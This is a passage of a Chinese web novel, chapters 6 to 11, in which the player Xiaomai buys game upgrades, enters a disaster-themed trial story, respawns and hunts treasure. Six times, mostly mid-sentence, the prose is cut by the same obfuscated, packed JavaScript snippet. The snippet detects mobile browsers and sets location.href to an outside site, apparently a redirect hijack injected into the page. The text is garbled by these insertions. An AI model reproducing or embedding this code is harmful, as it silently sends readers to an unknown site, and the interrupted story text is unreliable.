小麦觉得额头一热,很快又恢复正常,意识里多了一个不规则的空间。 空间像是在一块巨石中挖出中空的一小块,虽然没有光源,石洞里却能看得清楚明白。 她拿出手机调出自拍模式,镜头里的自己没有发生任何变化,眉心也没多个异类装饰,外人应当看不到空间的存在。 灵魂绑定的随身洞府心随意动,如今只是个洞窟的模样,算下来也就有1立方米大的空间,升级方式暂且未知,不能放入活物,仅仅是个随身仓库。 虽然灵魂绑定的空间比较小,但是小麦很知足,因为随身洞府与她全然绑定,共生共灭,不必担心被人杀人夺宝。 有了空间,还是不怕丢东西的空间,自然要先安置自己的移动资产。 小麦任凭任凭小精灵自己走流程,先把剩余锆石和手工首饰装进行李箱,再把包括身上戴着的首饰都摘下来,和化妆包里的首饰一起扔进行李箱的网袋。 行李箱就这样开着收进随身洞府,小麦试了试,只要箱子留一个小缝,里面的东西取用起来很方便。 她便把电子设备和买来的食水也放了进入。饮料在外面放了许久,已经不像刚从冰箱里拿出来是那么凉,好在随身洞府的空间是停滞的,剩下的这点凉意还能保持住。 整理折叠好的空塑料袋和空的双肩包也扔进去,随身洞府立即填满大半,主要还是小麦在便利店消费的多,空间里大半都是些吃吃喝喝的东西。 固有资产有了让人心安的存放地,小麦这才示意小梦重复一遍刚刚的话。 “游戏迎新暖心季,超级福利大放送,迎新期间,只需要花费999宝石钱,新玩家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299354|182744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就可以0.1折享受星域频道,机会有且仅有一次。” “星域频道有什么用?” “星域频道提供不同玩家间的跨时空交流,是《瓶中梦》世界里的唯一官方指定交易平台。” 仅看唯一这个限定词,999宝石钱也不能省!更何况还是个交易平台! “买!” “游戏迎新超大福利,迎新期间,新玩家可永久升级初始地,享1折超低折扣价格,机会有且仅有一次。” “初始地也是玩家的复活点,可以给游戏生涯带来诸多便利,请小麦主人谨慎选择。” 单机游戏还有复活点呢,这是游戏过程中有概率嘎掉的意思,好在能复活,这笔钱同样不能省。 小麦看向小精灵列出的表格,升级耗费由铜钱依次递升到宝石钱,连续翻页到尾页,最后一个选项打折后也要99宝石。 既然钱币充足,自然还是选择最贵的。 “99宝石钱升级初始地。” “好的,小麦主人,正在为您载入初始地资料,山崖石窟已生成。” 迎新花钱项目走到了最后一步。 “新玩家初始信息已录入。小麦主人是否开启商城?” “您有铜、银、金、宝石四种商城模式可以选择,高等级商城包含低等级商城所有货物,更有几率刷新出高等货物。” “基础物资多为限时存在物资,玩家购买时。请自行注意货物有效存在期。” “商城固定有9个货物展柜,货架会在每日0点准时随机刷新。玩家也可主动刷新,每次刷新需要耗费至少1个标准单位钱币。” “刷新货架使用的货币越高级,高等货物出现的概率越高。” “玩家可免费开启铜钱商城,铜钱商城每日可主动刷新十次。” “玩家可花费1银钱开启银钱商城,银钱商城每日可主动刷新三十次。 “玩家可花费1金钱开启金钱商城,金钱商城每日可主动刷新一百次。” “玩家可花费1宝石开启宝石商城,游戏商城即可无限刷新。” 7. 第 7 章 那还用说嘛,既然家底丰厚,小麦当然是选择开启宝石商城啦! 又花费1宝石钱,宝石钱还剩6302克,以迎新福利为噱头的氪金活动走到了最后一步。 “迎新活动大放送,开荒武器任意选,只需要9宝石,永久武器带回家!” “小麦主人,开荒武器会影响您将来的职业选择,请谨慎挑选。” 说是任意挑选,其实可选择的范围有限,因为小精灵展示的大多武器都为对抗属性,在小麦选择了休闲发展路线后,这些武器就成了禁用状态。 剔除掉花样繁多的对抗武器,就只剩下三样供小麦选择选择。 一把十字矿镐、一把金属锄头、一把多功能金属折叠铲,对应着休闲娱乐模式的三大方向,分别是矿工、农民、寻宝人。 小麦对前两种方向热爱不起来,果断选择了折叠铲,虽然说还不知道寻宝人的具体玩法,但从观感而言,总该比挖矿、种地强! 折叠铲看起来平平无奇,是方便携带的三折叠,就连颜色都是低调的金属灰,没有更多物品说明。 小麦不知道它哪里值9宝石,问过小精灵才知道,这东西贵在没有存在时限、没有使用耐久度,还能节省力气,只要不遗失,称得上一把永久性工具。 好吧,既然铲子放在迎新活动里,大概率真的能值9宝石钱。 小麦放下纠结,把价值9宝石的武器收进随身洞府,继续游戏流程。 接下来,她要进入《瓶中梦》试玩版资料片,只有成功通过试玩环节,才能获取更多游戏的正式功能。 某种意义上来说,这个试玩资料片就是【瓶中梦】的游戏新手教程。 试玩资料片相较于正式部分,有一个很大的福利,就是任务途中,玩家可以免费、无限次复活,甚至可以刻意让任务失败,一辈子停留在免费复活时期享受新手福利。 对于一个有庞大数据、会随机生成游戏背景的全息游戏而言,即使不停重复试玩资料片,也不会让玩家觉得枯燥无聊。 小麦在正式进入游戏后,很多基础资料不再需要小精灵讲解,讯息会自动涌进脑海,甚至可以通过意识与小精灵交流,颇有几分人机交流的神秘感。 她收敛神情,很有仪式感地接下了【通关试玩资料片】这个主线任务,这也是她目前能接触到的唯一一个主线任务。 任务奖励没有具体描述,仅知道“通关可获取丰厚奖励”。 那就来看看这个奖励究竟有多丰厚吧! 【进入游戏】的光影,在玩家触碰后暗淡消失,小精灵再次棒读出声。 “小麦主人,试玩资料片已成功部署,请玩家移步游戏初始地,即将开启【话本一】。” “试玩资料片为大数据生成。玩家可免费复活进入全新随机话本,也可以花费铜钱重新载入相同话本,或者花费宝石钱载入任意游戏进度。” “话本内有几率触发随机事件,有轻松、困难、噩梦三种难度,完成随机事件可获得丰厚奖励,任务奖励随难度递升而递升。” 听起来很随机的样子,希望能随机得有趣。 小麦被转移到游戏初始地。 她不再被困在方寸之地,有了属于自己的出发空间,还是开阔的正式空间,所在的空间豁然开朗,心情也随之振奋。 “山崖石窟”顾名思义,就是山中石洞,因为小麦花了大价钱做了初始地升级,这个石窟格外安全。 它像是藏在厚厚的山体中的宝珠,有上下两层空间,厚厚的石壁不仅隔绝了风吹日晒,还免于洪涝、泥石流等突发天灾,自带冬暖夏凉的宜居好处。 石窟的下层是洗漱室和客厅,上层是卧室,每层有十多平方米空间,另有石梯楼相通联。 小客厅空旷无一物,厚重推拉门外,是一个比房间还大的开放式阳台,洞口处半人高的栏杆外就是万丈悬崖,她恐高,没敢靠近护栏。 洗漱室也只有紧靠石壁挖出来的石马桶、浴桶,秽物可以直接通过悬空管道排下山崖,可惜屋里只有样子货,连个水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299355|182744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 源都没有。 小麦缓步走上上层卧室,卧石很小,是个橘子形状,仅有十来个平方米大,靠墙一张单人石床,有石飘窗充当桌子,屋里连个凳子都没有。 阳光从玻璃飘窗透进,因为只有这一个光源,天气又不怎么好,室内的采光比较差。 小麦打开双层中空玻璃窗,清凉的山风从金属纱窗网透进,激得小麦打了一个寒颤。 卧室的金属纱窗无法拆卸,小麦贴着纱网向外看,向上能看到万丈悬崖下郁郁葱葱的绿色植被,向上是遮蔽住太阳的厚重云层。 石窟所在的位置是山体的中上部分,房间修得结实规整,门窗森严,保证不会有蛇虫闯入卧室,就是孤悬于山间,非常与世隔绝。 要不是有游戏商城,这地方连点吃食都搞不到…… 小麦趴在大理石飘窗上往远处看,远方无遮挡,可惜有白云缭绕,太远的地方无法看分明。 “小梦,远处的风景怎么看不清?” “小麦主人,远处有白雾空气墙,未解锁区域无法查看。” “小梦,怎么解锁区域?” “通关试玩资料片,主人可以解锁部分区域,获得初始地盘,更有诸多奖励期待主人解锁。” 吆。 玩家还能有地盘? 有点期待了呢。 小麦点头,沉声道:“开始话本任务吧。” 小精灵闻言,飞入石壁消失不见,消失的地方多了一个仅容许一人通行的青铜色金属门,门上浮雕有【话本】两个黑色大字。 小麦推开门,只见门里光线更暗,是个仅容一人站立的简陋石洞。 石洞里有一成人大腿粗的、半人高的石立柱,立柱上飘浮着一本发着光的精装书,翻开的书页上写着【话本一】三个流光大字。 小麦指尖轻触【话本一】书页,被吸入书中消失不见。 她出现在一个帐篷区,眼前是遭灾后的龟裂大地,人群惊慌四散,喊着“余震来了”,脚下的土地剧烈颤动。 8. 第 8 章 【恭喜主人成功开启话本一[流亡]。】 小麦努力稳住身子,看向自己。 她的手还是熟悉的模样,衣服却换了一身耐磨耐脏的灰色工装,就连休闲鞋也被换成了黑色球鞋,身前多了个黑色旅行双肩包,手腕上多了一块黑晶屏腕表,按一下会显示时间,目前是09:01。 小精灵在意识里说话的时候,腕表轻轻颤动过一下。 小麦正感慨这个游戏还能一键换装,腕上的表盘过电似的击她一下,大量数据涌入脑海。 这就是话本一的游戏所在地,蓝星花国。 小麦目前在C省D市下的乡村,属于身在乡村的幸运儿。 因为蓝星刚刚经历了一场史无前例的天灾,地面上的基础设施毁了九成九,人口密集的城市因为高楼大厦的倾塌而伤亡惨重,倒是留在田园乡村的人大多捡回一条命。 小麦手上的腕表就是这个时代的手机,因为信号塔毁坏,腕表的网络功能失效,目前仅能进行移动支付。 腕表就相当于不需要联网的数字人民币钱包,没有实体的纸币,还是全球通用货币,只要有太阳就能正常使用。 因为腕表是太阳能充电,移动支付所需的电量又少,哪怕没有了充电设备,只要晒上一会儿太阳,都能支持钱币支付一周时间,所以幸存者都还能买到生活所需品。 目前来说,因为灾难发生仅仅了几天,又有无线电通知各大官方组织的临时基地救灾,腕表的移动支付又比较逆天,花国的货币还没有崩盘,大家的移动资产还没清零,社会秩序也就勉强维持着。 话本一的主线任务不算难,仅仅是安全抵达任意安置基地,且不得暴露游戏的存在。 主线任务没有限定期限,任务失败也没有任何惩罚,很对得起“休闲游戏”这个标签。 但仅从“流亡”这个主题也能得知,世道怕是要渐渐坏下去。试玩资料片怕是也没有那么容易通关。 小麦享有大数据随机出来的正规身份,是迷失在农家乐的背包客,灾难发生时正在旅游,腕表里有可以正常交易的账号,被查时还能编织出可以完美演绎一生的轨迹资料,不用担心开局就暴露身份。 她抱紧背在身前的背包,耐心等待余震过去。游戏通常不会把玩家扔进开局就灭的环境,更何况是兼具教学功能的初始副本。 因为余震,用来安置游客的帐篷区有些乱,小麦有复活挂在手,委实紧张不起来,非常有闲情逸致的看起了意识里的游戏商城。 商城就像一个简洁的彩色宣传单,光影页面里摆着九宫格图片,每个格子里都有非常逼真的3D光影,和用以补充说明的黑色小字。 今日的九个商品分别为:一个白面小馒头,售价10铜钱;一个油酥烧饼,售价18铜钱;一个牛肉汤包,售价60铜钱;一纸杯小米粥,售价15铜钱;一瓶矿泉水,售价20铜钱;一杯冰鲜柠檬水,售价50铜钱;一个香辣鸡腿汉堡,售价200铜钱;一杯冰可乐,售价100铜钱,一杯珍珠奶茶,售价80铜钱。 所有的食物购买后限时存在2小时,到期后自动消失。 小麦换算了一下,商城里的1铜钱,大概相当于现世的0.1元,单以铜钱算,她钱包里也就有一万块左右,希望这个游戏不要太烧钱,最好现有的铜钱能支撑她通过话本一。 目前看来,九种货物里仅有矿泉水和npc手中是同款,适合拿出来,剩下的物品都太扎眼。 小麦注意到,帐篷区的人,手里大多拿着压缩饼干和矿泉水,她目前不渴不饿,一动不如一静,商城里的东西可以先不动。 余震中,有人惊慌奔走,有人抱团取暖,也有人同小麦一样,一脸麻木坐在原地,似乎已经准备好了接受任何结局,小麦的不动如山并没有引来任何人的额外注意。 地面颤动了十几分钟后沉寂下来,这次的地动并没有那么无害,帐篷区的帐篷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299356|182744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塌了小半,本就满是裂缝的地面又多了几条足以埋人的鸿沟。 帐篷区的人熟练休整帐篷,几架无人机呼啸着在帐篷区上空徘徊,或许因为有无人机的监控,小麦没有看到什么明面上的暴乱,众人或挣扎过活,或沉溺悲伤中。 天灾之下,家破人亡已是常态,大部分人都已经默默接受现实。 旅游区的高层建筑早就已经坍塌,如今塌无可塌,余震不断,也只是让地上的裂缝加大几分。 因为余震,帐篷里帐篷多人少,小麦找了个空帐篷暂入,打算查看一下跟随她出现在话本里的背包,然后就惨遭淘汰。 站在石柱前的小麦一脸茫然,她还没有反应过来,一切就已经结束了。 小梦温馨提示:“人有失手,马有失蹄,歹人潜入,主人蒙难,请小麦主人再接再厉,勇闯难关。” “小麦主人是否需要免费复活?或者花费钱币重启游戏进程?” 机械的棒读音里,小麦很快想通。无人机确保了空旷地带的秩序,可镜头透视不到帐篷内部,邪恶自然在无人处滋长。 这次是她大意了,不该看帐篷区秩序井然就觉得没有恶人存在。 她只是个路过的游戏者,话本里的npc可是真的在经历天灾人祸,而npc的数据又大多来自于游戏玩家。 第四天灾的随心所欲众所周知,所以她才刚刚开局,就被送回了复活点。 每一次失败都是经验。小麦平淡接受现实。 她不想再接收一次庞大的世界观资料,于是选择花费1铜钱重进之前的话本。 依旧是流亡的主题,依旧是地动的背景,依旧是滞留旅游地的背包客身份,连帐篷区都与之前那处像了八、九分,倒是npc的面貌大多变了。 看来,即使重复进入同一话本,依旧会有不一样的随机内容。 小麦的平衡感不怎么样,找了个地方蹲下才稳住重心,再一次沉默挨过余震。 9. 第 9 章 小麦第一时间关注的是要伴随她余生的游戏商城。 商城里的商品还是之前看到的那些,小麦询问过小精灵后才确定,只要还在话本一的进程里,同一天里不管复活多少次,商城里的货物都不会自行刷新。 她虽然复活了一次,话本一开始的时间依旧是当日09:00。 玩家要是对商城里的货物不满意,要么熬到第二天零点自动刷新后复活,要么花钱手动刷新,没有便宜可以占。 第二次进入副本,小麦的情绪平缓许多,注意到更多游戏细节。她这个时候才发现,背包的重量明显不对,里面应该装有东西,大概率是游戏惯例赠送的初始道具。 小麦借着坐姿遮掩,检查了一下,包里有一瓶矿泉水,一包压缩饼干,六串铜钱。 矿泉水和压缩饼干明显是帐篷区售卖的牌子,来来往往的npc大多拿有这两样东西。 一串铜钱只有成年人的食指大小,钱币很新,是亮闪闪的淡金色,入手很轻,一串还没有一个鸡蛋重。 钱币外圆内方中空,明显是仿古铜钱的缩小版,由一条粗红绳串做紧密一筒,两头的绳结处各打了一个漂亮的活扣。 小麦没有数,通过询问小精灵得知,一串铜钱有两百个,是从银行里取的新钱,包里的物资果然是每位玩家都会获得的初始物资,算是话本一的游戏新手礼包。 这些东西都仅限在话本一内使用,无法带出话本,若是有结余,要么白扔,要么折价用于副本结算。 小麦并不担心用不完,1200铜钱能用几天?好在话本里有移动支付,这些铜钱也就用来应急,或者找零。 有了上一局失利的教训,小麦不仅没再进帐篷,反而尽量不动声色的远离帐篷区。 她有游戏商城,不需要帐篷区的救济物资过活,即使流浪荒野也饿不死,那就没必要滞留帐篷区。 头顶的无人机多徘徊于人群聚集地,更多得无人机仅仅飞速略过,前往远方。 小麦磨蹭到帐篷区边缘,花20铜钱买了一瓶矿泉水,让矿泉水直接掉落进背包。 两瓶水看起来像是出自同一厂家。 小麦先打开背包里赠送的水喝了一口,品质一般,喝上几口也没有什么特别的反应。 未喝完的水收进背包,她打开另一瓶水,清水刚刚沾唇,新的讯息便在意识里闪现。 【首次食用商城食物,获得历练值*10。】 【首次食用[一瓶矿泉水],获得历练值*10。】 【恭喜玩家成功开启历练值功能,累积历练值即可获得历练值大礼包。】 【历练值积累到10,恭喜玩家获得历练大礼包(一)。】 【历练大礼包(一)内含绿皮水壶*1、宝钱*1、金钱*1、寻宝罗盘*3。】 【请玩家再接再厉,累积历练值*100,即可获得历练大礼包(二)。】 【是否立即接收游戏礼包?如若当然环境不适宜接收礼包,礼包将被送往玩家初始地。送往初始地的物资需结束当前话本后方可启用。】 小麦很是惊喜,没想到仅仅是品尝食物,也能收获奖励,不愧是休闲类游戏,生活中处处都是惊喜! 虽说这种收集图鉴类的游戏模式,前期能“哐哐”收奖励,越往后越难搜集,但俗话说得好,蚊子腿再小也是肉,更何况这个礼包丰厚程度,都能称得上是“大象腿”了!小麦简直不能更满意! 平复一下激动的心情,小麦很好奇寻宝罗盘有什么用,选择立即接受游戏礼包。 背包里立即多了一个巴掌大的圆饼形状的绿色金属壶,和三个龙眼大小的简易白色指南针盘。 指南针形状的道具就是寻宝罗盘,这还是小麦第一次获得不限制于话本一内存在的道具,这意味着三个罗可以带出话本副本使用。 难道玩家领地里也可以寻宝?还是仅限于后续话本内使用?这些问题都需要小麦自行探索。 按下疑惑不表,小麦试着将罗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299357|182744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盘收进随身洞府,物品成功收纳。 背包里没有钱币,小麦问过小精灵,得知钱币账户余额已经增加。 看来,即使是游戏礼包,也不会给玩家实物货币。 这大概也是一种制约? 实践出真知,小麦试着取出一个罗盘使用,小精灵提示,寻宝罗盘需要搭配铲子才能使用,显然,这是一种职业绑定道具。 不管是拿出折叠铲,还是享用商城里的食物,都需要到没有npc,也没有无人机的地方,要不然包子、可乐等食物一现于人前,她怀有重宝的事情就藏不住了,话本一大概率会强制重启。 小麦决定离开帐篷区,要不然光是吃饭也是一大问题,虽然账户里有钱购买帐篷区的食水,可天天吃压缩饼干和罐头,一准会吃到胃里泛酸水。 为了美好的生活,稍微冒点险也是值得的。 小麦起身拍拍身上的浮尘,环视周遭。她处在连绵起伏的丘陵地带。 丘陵的海拔很低,更接近于稍微有点高度差的缓坡,得益于原本茂密的植被,此处虽余震不断,却没有形成泥石流。 距离帐篷区不远的地方就有一个野山林,震后的绿意难免稀疏,远远就能看见有不少树木齐根折断,错乱堆叠,让上山的路更加难走。 山林下更远的地方是尚未长成的大片农田,原本规整的农田微微隆起,间或裂出几条深沟,原本应该绿油油的庄稼泛出枯黄色,大概率已经开始缺水。 视线往回来帐篷近处的菜地被倒塌的房舍毁了大半,剩下的被集结的npc保护起来,显然不容许人乱摘,便有饿极了又舍不得花钱的的npc到山林里寻找食物。 山林间隐约可见花花绿绿的人类服饰,那些色彩一动不动,大概率已经不会再动,变成山间横列的尸首,从这一方面来看,山里还挺危险,去往那个方向的人肉眼可见的少。 小麦决定去碰碰运气。 她有复活挂,她不怕!大不了花1铜钱重新来过嘛! 10. 第 10 章 小麦说走就走,真正走起来才发现气温有多高。 腕表的天气预报功能早已停摆,倒是实时温度监控模块还能显示。明明还不到十点,腕表里的温度已经突破35℃,才走上几分钟,小麦已经汗流浃背。 她不得不脱掉外套挡在头顶,仅着一件小吊带继续向前。 游戏商城里或许会有更合适的衣服,可惜需要不停刷新才能刷新出来,她的随身洞府里也有两套自己的衣服,可惜没有防晒服。 地面上不是隆起的碎土块,就是大大小小的裂缝,往日里一个小时的路程,现在要花费好几倍的时间才能抵达。 正午十二点,小麦走到了山林边缘,整个人像是水里捞出来的,衣服被汗水打透。 商城里买来的矿泉水瓶已经消失,倒进另一个瓶子里的最后一点商城水也消失了,包里仅留下一个空瓶。 她躲在林间阴凉处,从游戏买了一杯冰可乐,看四下无人,尝一口后倒进矿泉水瓶。 可乐洒出来不少,引来几只蚂蚁。 剩下的可乐杯没有用处,扔在地上凭空消失容易惹人怀疑,小麦试着询问小精灵能不能提前回收道具,小精灵回应可以提供销毁道具服务,也相当于提前回收了,就是兑换不了什么好处。 既然能减少点麻烦,小麦自然选择回收道具。 一杯冰可乐装不满矿泉水瓶子,小麦又倒了一杯冰鲜柠檬水进去,最后一点杯底喝干,杯子继续回收。 矿泉水瓶子里的饮料等会儿再喝,虽然只是尝过一口,两个首尝食物的10历练值顺利到账。 商城里还剩小米粥和珍珠奶茶两种饮品,小麦大方买买买,搭配小米粥吃了牛肉汤包,又搭配珍珠奶茶吃了香辣汉堡,也就堪堪吃饱。 倒不是小麦大胃王,而是牛肉汤包仅比兵乓球大一点,汉堡也只有攥紧的拳头大,不过汤包的滋味很是鲜美,只能说是小贵。 米粥和奶茶都是正常中杯的份量,她这一顿完全是吃了个水饱而已。 一顿午饭花了505铜钱,《瓶中梦》的物价比想象中的高呢。 午饭吃完,历练值成功累计到80点,虽然眼馋一百历练值的游戏礼包,但小麦不打算撑坏自己的胃,午餐也就到此为止了,干巴巴的馒头和烧饼完全没有兴趣呢。 抱膝小憩片刻,精神舒缓很多,喝下去的水随着汗水排出,没有解决生理问题的需要,她继续坐在阴凉的地方继续纳凉,顺便补充水分,还花1银币刷新了商城。 各种新功能都要试试嘛。 银币花出去非常有排面,璀璨银光闪过,空置的货架重新补上货物,馒头和烧饼也换上新品。 小麦的运气不错,商城里刷出了四样需要银币购买的商品,剩下的物资也很实用。 这次的九个货架分别为:一瓶矿泉水,售价10铜钱;一杯冰可乐,售价70铜钱;一个牛肉汤包,售价60铜钱;一杯冰鲜柠檬水,售价35铜钱;一瓶矿泉水,售价20铜钱;一把铁镐,售价10银钱;一把铁铲,售价10银钱;一把铁锄头,售价10银钱,一套暖冬棉袄,售价120银钱。 九件商品里,有五件和上一把重复,其中还刷出来两瓶一模一样的矿泉水,售价并不相同。 小麦意念询问,小精灵解释,商城售价会参考不同时期的物价,同一种物品在不同年份价格不一,所以商城的售价也并不固定,有概率在最大值和最小值之间正常浮动。 小麦觉得自己上午的运动量超标,吃下去的食物消化的很快,于是又买了一个牛肉汤包吃。 这次的汤包虽然售价没变,但包子大了不止两圈,包子的褶皱也有明显不同,不如上一个包子包的漂亮,馅料里没有多少汁水,味道更是不咋样,60铜钱简直血亏。 小麦勉强吃了两口,就不再虐待自己,剩余交给小精灵销毁。 又拿关键词反复试过,确定了商城物品并非统一供货,同一个名称下可能买到完全不同的东西,食用同一名称的食物没有历练值拿,购买10银币的工具也没有历练值拿。 小麦试用了锄头和铁镐,触发不了特殊内容,便让小精灵把这两样笨重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299358|182744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的工具销毁了。 她不可能背着三个沉重的大家伙赶路!游戏摸索阶段,一些纯耗损投入是非常必要的。 剩下的两瓶水都能在运动后补充水分,可以晚点刷新,小麦抱着新买的、仅限话本一内使用的铲子,从随身洞府取出一个寻宝罗盘。 罗盘使用后,道具消失,整个铁铲被一层银白色光芒包裹,银光在中心位置形成一个显眼的指示标,指向坍塌的建筑群。 寻宝终点位置有一个大到夸张的金色铲子浮于空中,距离山林并不算远,明显在人群聚集处。 【小梦,寻宝地点有太多npc,难以成行,寻宝地点能不能刷新?】 【小麦主人可以花费钱币刷新寻宝地点。】 钱币刷新最低1铜币就可达成,使用时只有1秒的冷却时间,小麦花了26铜钱刷新26次,寻宝的铲子总算落在了不远处的山林里。 金铲所在位置在树林的另一端,需要绕过山脚,再稍微爬一段坡路。 小麦估摸了一下路程,她可以等太阳不那么毒辣后再赶路,走到目标位置,再磨蹭一会儿差不多天黑,正好方便她挖宝。 下午三点半重新启程,绕着山林才没走多远,游戏突然又有了新的提示 【星域频道:[匿名]求购[野菜]*3斤,每斤求购价格20银。】 野菜? 小麦看向脚下踩着的成片的野草。在所有野菜里,她只认识荠菜,脚下的绿草明显不是荠菜。 小麦【看】向闪闪发光的“野菜”二字,游戏提示她提交物品。 难道这个星域频道还能隔空传送? 她弯腰薅了片野草,看看能不能提交订单,频道聊天里发光的野菜就暗淡了下去,再【看】时,订单显示已完成。 这么快? 她来到话本一这么长时间了,怎么星域频道突然出声?还仅仅就闪了那么一次? 频道里孤零零挂着灰暗的【星域频道:[匿名]求购[野菜]*3斤,每斤求购价格20银。】,不管再怎么【看】都没有了反应。 11. 第 11 章 疯狂试过各种关键词,小麦再次收获新海量讯息。 星域频道还真就是可以跨越空间使用的交易平台,只不过小麦获得的星域频道的功能不完善,只能看别人发言,无法跨时空求购,只能完成别人的订单。 星域频道非常智能,会自行筛选玩家有能力完成且符合当前话本文明的订单显现,如果不需要此项功能,可以唤出频道设置关闭此项功能。 这意味着小麦无法在话本内购买超越时代的武器。不过这点也无所谓,纯粹的休闲路线本来就不兼容战斗系统,无限复活相当于是锁血,她拿到武器也只能当装饰品用。 星域频道的远距离交易功能足够使用,可以当做商城的补充功能来用! 20银一斤的订单,她可有可无,可惜抢订单的人太多,她还没来得及试试星域频道的具体用法,订单已经被别的玩家完成了。 虽然遗憾没抢到订单,虽然知道了野菜有可能再次成为订单,小麦也没有提前储备野菜的打算。 一是因为天气太热了,一动一身汗,挖野菜过于遭罪,为了60银币并不值得,她现在又不缺那60银币。 二是因为目标野菜个头小,生长的并不密集,连日干旱的土地又板结成块,非常难挖,要凑足三斤野菜怎么也要四、五个小时的时间才行。 要是收获的道具能长久保存也就罢了,偏偏挖出来的野菜是话本一限定存在物品,等到通关结算,再多的限定物资都会化为乌有。 反倒不如放过自己,让自己少受点苦难,少做点白工…… 小麦目前存款充裕,并不打算赚这辛苦的60铜钱,别说是60铜钱,就算是60宝钱,她都会犹豫一下。 放过自己,继续上前,且走且出汗。 小麦有点后悔重开这个故事背景了,还不如重开个风和日丽的故事背景。要不是寻宝罗盘已经使用,小麦怕是要到无人机底下吃汉堡了。 考虑到话本一的主题是【流亡】,恐怕哪个随机背景都不安逸,小麦也只能认命继续赶路。 不知道是否是游戏察觉到小麦不想吃苦的心,直到抵达目的地,星域频道都仿佛死了一样安静,没再蹦出诸如【挖野菜】的体力活。 就算是这样,小麦的心情也并不好,不仅是因为天气酷热,还因为爬上山坡的短短十几分钟路程里,她看见了好几具尸体,就连寻宝终点旁边都躺着一个。 或许因为这里仅仅是游戏的原因,也或许因为这里是纯休闲娱乐路线,虽然天气很热,路旁尸体并没有变形,也没有异味,看起来僵硬如同木雕,哪怕仔细看,也看不出【尸体】的性别年龄,最多能看出是大人还是小孩。 【尸体】做得非常失真,若不是尸体上方有鲜明的【尸体】字样,小麦甚至会以为地上趴的是粗糙的雕塑,粗糙的甚至让人下意识的认为这是假的道具。 不得不说,《瓶中梦》世界在这一方面还挺贴心,至少小麦独自在山间看到这些【尸体】时,心底并不会害怕,因为她知道这仅仅是游戏,但又难免有点郁闷,毕竟,无论何时,死亡和离别都会触动她的心弦。 但这种程度的死亡和别离,也就只能轻轻触动她的心弦了,再多的反应,一个玩家也很难给出来。 别看视线,努力忽略不远处的【尸体】,她抬头看天色渐暗,挥舞铲子没入地面。 铁铲入土的感觉十分奇特。 明明在挖掘野菜的时侯,板结的土块还很难破开,需要小麦踹一脚借力,才能让铲子入土半截。 可在寻宝终点的显眼的小光圈里,铲子入土,就像利刃掉进嫩豆腐,小麦都不需要自己使劲,寻宝铲就自动干起来了。 是寻宝铲在带着她律动! 轻轻松松,仅仅一分钟时间,小麦就铲出来一个一立方米的规整土坑,方方正正的土坑里空空荡荡。 寻宝铲都自己干活了,总不可能白挖一场吧? 小麦不信邪,用力眨眨眼看向土坑,坑底从土里涌出白光,升 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 